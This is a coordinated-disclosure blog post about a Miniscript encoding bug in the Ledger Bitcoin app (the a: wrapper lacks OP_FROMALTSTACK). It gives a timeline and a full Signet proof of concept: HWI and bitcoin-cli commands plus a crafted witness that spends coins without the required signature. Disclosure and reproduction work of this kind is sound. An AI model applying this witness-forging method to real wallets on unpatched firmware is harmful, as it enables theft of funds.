On the 7th of April, as we were testing the (ever delayed) 0.4 release of Liana, Kevin Loaec found what we thought to be a severe bug in the Liana GUI, preventing one to sign a transaction with their Ledger Nano S(+). It would turn out to uncover a bug in the Ledger Bitcoin application’s implementation of Miniscript, which can potentially allow for bypassing some spending conditions advertized to the user but not actually present in the generated Bitcoin Script. That is, enabling theft.
Before diving into an explanation of the bug and reproduction instructions, let me emphasize that we do not intend to overwhelm the Ledger team of developers and reviewers that worked on the Bitcoin application (and more specifically Salvatore). We all make mistakes and create bugs. Being at the forefront of Bitcoin technological innovation brings a lot of value to their users. You can’t both be leading the way and learn from the mistakes of your predecessors.
On the contrary, it’s rather a good things that we catch those bugs now that there is only very few (to none) users of such functionalities. What’s now time-tested didn’t become so without any bug along the path. Liana was probably the only wallet to provide a full integration of Ledger’s Miniscript capabilities, and no release of Liana allowed a user to create a Miniscript descriptor that was affected by this bug. So if anybody was affected by this vulnerability, they must have been using advanced hand-rolled tooling.
Timeline
We discovered the bug on the 7th of April. Antoine put up reproduction instruction on the same day in a private Gist (available here). We then reported the vulnerability to Ledger through their bug bounty program and to Salvatore Ingala.
The Ledger security team acknowledged reception on the 11th. A fix was deployed in the Bitcoin application. They later informed us (on the 14th) this finding was elligible to a bug bounty.
On the 13th, and after receiving agreement from the Ledger security team, Antoine disclosed the vulnerability to maintainers of projects whose users could potentially be affected.
On May 10th the version 2.1.2 of the Ledger Bitcoin app was released with a fix. Salvatore Ingala also took care to update the client libraries in various languages to error when trying to register an affected descriptor on a Ledger running an affected Bitcoin application.
On May 11th the Ledger security team gave us the go ahead to announce the vulnerability.
Description of the bug
The Miniscript fragment a:X
was incorrectly encoded by the Ledger Bitcoin application. Instead of translating to:
OP_TOALTSTACK X OP_FROMALTSTACK
It was encoded to:
OP_TOALTSTACK X
This opens the possibility for the spender to always provide the return value of the expression
preceding a a:
in a Miniscript. This implies any type of check (preimage, signature, timelock)
preceding a a:
may be bypassed (just feed a 1
at the correct place in the witness).
Let’s take a very simple example. The Miniscript and_b(pk(A),a:1)
corresponds to the Bitcoin Script:
<A> OP_CHECKSIG OP_TOALTSTACK 1 OP_FROMALTSTACK OP_BOOLAND
And is only spendable by a witness stack that includes a signature for the public key A
: <sig_A>
.
But the Ledger Bitcoin app would encode it (when generating an address for instance) as:
<A> OP_CHECKSIG OP_TOALTSTACK 1 OP_BOOLAND
Which makes the script, first, unspendable with the witness stack dictated by the Miniscript
satisfier from above, but also trivially spendable without any signature from public key A
: <1> <>
. Note that the Bitcoin Script interpreter does not check the altstack for the cleanstack rule.
I have reproduced this very example on Signet:
c68ca96c44359ca6d2eabc470232d26103f637fc1ba0c3f9b8c11ce671242508
spends an output to an an address generated by a Ledger Nano S+ using the policy
wsh(and_b(A,a:1))
. The witness in this transaction’s input does not provide any signature on the
stack.
Reproduction instructions
For simplicity, i’ve used the PR that adds support for wallet policies to HWI:
https://github.com/bitcoin-core/HWI/pull/647 (at ad07c9e06047521bca6183b7c2d4d4e16d15cef7
).
git clone https://github.com/bitcoin-core/HWI
cd HWI
git fetch origin pull/647/head
git checkout FETCH_HEAD
Create a virtualenv to install HWI’s dependencies:
python3 -m venv venv
. venv/bin/activate
pip install poetry
poetry install
Connect your Ledger Nano S or Nano S+ with a Bitcoin testnet app version >= 2.1.0
and <2.1.2rc2
,
unlock it and go in the Bitcoin app. Then get the master xpub’s fingerprint and get an xpub from a
standard path (i’m using the path we use for Liana):
./hwi.py enumerate
./hwi.py --device-type ledger getxpub "48'/1'/1'/2'"
Now you’ve got the fingerprint, derivation path and xpub you can register the policy on the device and query an address from it:
./hwi.py --chain regtest --device-type ledger registerpolicy --name repro --policy "wsh(and_b(pk(@0/**),a:1))" --keys "[\"[636adf3f/48'/1'/1'/2']tpubDDvF2khuoBBj8vcSjQfa7iKaxsQZE7YjJ7cJL8A8eaneadMPKbHSpoSr4JD1F5LUvWD82HCxdtSppGfrMUmiNbFxrA2EHEVLnrdCFNFe75D\"]"
./hwi.py --chain regtest --device-type ledger displayaddress --name repro --policy "wsh(and_b(pk(@0/**),a:1))" --keys "[\"[636adf3f/48'/1'/1'/2']tpubDDvF2khuoBBj8vcSjQfa7iKaxsQZE7YjJ7cJL8A8eaneadMPKbHSpoSr4JD1F5LUvWD82HCxdtSppGfrMUmiNbFxrA2EHEVLnrdCFNFe75D\"]" --extra '{"proof_of_registration": "d450f8379681e629c843f829bcbf753504b43686ac6ec91e95370f0eba32f361"}'
With my own testing device, i’ve gotten
tb1qr7p6nntfs3n3kq8d4nrdrxan6ss3dj88rjh4g5qqfgzxmrqmnh5qsqd2gw
.
Now send some funds to the address and create a transaction spending from it. For convenience i’ve used a PSBT to simply edit the “final witness” field eventually:
$ bitcoin-cli -signet -rpcwallet=main sendtoaddress tb1qr7p6nntfs3n3kq8d4nrdrxan6ss3dj88rjh4g5qqfgzxmrqmnh5qsqd2gw 0.001
8a49eb7702e3a1d9b2bd76eba157e5af0ef3bf923cc62e710e5ddb8d51eb6253
& bitcoin-cli -signet createpsbt '[{"txid":"8a49eb7702e3a1d9b2bd76eba157e5af0ef3bf923cc62e710e5ddb8d51eb6253","vout":0}]' '[{"tb1qtgwnt3wwapxwfnze8ujwrd98xgsuz4c3a75grg":0.0009}]'
cHNidP8BAFICAAAAAVNi61GN210OcS7GPJK/8w6v5Veh63a9stmh4wJ360mKAAAAAAD9////AZBfAQAAAAAAFgAUWh01xc7oTOTMWT8k4bSnMiHBVxEAAAAAAAAA
Now create the witness. The regular witness for this Miniscript would have been <sig A>
, the
signature for public key A
. But since FROMALTSTACK
is missing in the Script we can spend using
the witness <1> <>
: the top stack empty vector dissatisfies the CHECKSIG, whose result is moved to
the alt stack but not moved back to the main stack. Then BOOLAND
is executed with the second
witness item provided, <1>
.
To reconstruct the whole witness we also need the witness script corresponding to this address.
Since in this example it is trivial we can simply reconstruct it by hand. First derive the xpub
used above at the right derivation. We’ve used the first address from the receive keychain, so it’s
tpubDDvF2khuoBBj8vcSjQfa7iKaxsQZE7YjJ7cJL8A8eaneadMPKbHSpoSr4JD1F5LUvWD82HCxdtSppGfrMUmiNbFxrA2EHEVLnrdCFNFe75D/0/0
.
Using python-bip32
i got the derived public key
0287f0385dfbdd3ec3833db584d1572e278ba2d804eb3b3da62ae676dc42464fd3
:
>>> import bip32
>>> bip32.BIP32.from_xpub("tpubDDvF2khuoBBj8vcSjQfa7iKaxsQZE7YjJ7cJL8A8eaneadMPKbHSpoSr4JD1F5LUvWD82HCxdtSppGfrMUmiNbFxrA2EHEVLnrdCFNFe75D").get_pubkey_from_path("m/0/0").hex()
'0287f0385dfbdd3ec3833db584d1572e278ba2d804eb3b3da62ae676dc42464fd3'
The witness script is <0287f0385dfbdd3ec3833db584d1572e278ba2d804eb3b3da62ae676dc42464fd3> OP_CHECKSIG OP_TOALTSTACK 1 OP_BOOLAND
, that is
210287f0385dfbdd3ec3833db584d1572e278ba2d804eb3b3da62ae676dc42464fd3ac6b519a
. The full witness is
therefore:
0301010026210287f0385dfbdd3ec3833db584d1572e278ba2d804eb3b3da62ae676dc42464fd3ac6b519a
(First byte is the number of elements, 3, followed by each element preceded by its size)
I personally then edited the PSBT from above with this final witness using the pretty handy https://bip174.org/ tool.
Finalize the PSBT edited with the final witness and broadcast the transaction:
$ bitcoin-cli -signet finalizepsbt cHNidP8BAFICAAAAAVNi61GN210OcS7GPJK/8w6v5Veh63a9stmh4wJ360mKAAAAAAD9////AZBfAQAAAAAAFgAUWh01xc7oTOTMWT8k4bSnMiHBVxEAAAAAAAEIKwMBAQAmIQKH8Dhd+90+w4M9tYTRVy4ni6LYBOs7PaYq5nbcQkZP06xrUZoAAA==
{
"hex": "020000000001015362eb518ddb5d0e712ec63c92bff30eafe557a1eb76bdb2d9a1e30277eb498a0000000000fdffffff01905f0100000000001600145a1d35c5cee84ce4cc593f24e1b4a73221c157110301010026210287f0385dfbdd3ec3833db584d1572e278ba2d804eb3b3da62ae676dc42464fd3ac6b519a00000000",
"complete": true
}
$ bitcoin-cli -signet sendrawtransaction 020000000001015362eb518ddb5d0e712ec63c92bff30eafe557a1eb76bdb2d9a1e30277eb498a0000000000fdffffff01905f0100000000001600145a1d35c5cee84ce4cc593f24e1b4a73221c157110301010026210287f0385dfbdd3ec3833db584d1572e278ba2d804eb3b3da62ae676dc42464fd3ac6b519a00000000
c68ca96c44359ca6d2eabc470232d26103f637fc1ba0c3f9b8c11ce671242508
Ta-dam! You effectively spent from this address without any signature, bypassing the signature check. See the transaction on Signet here.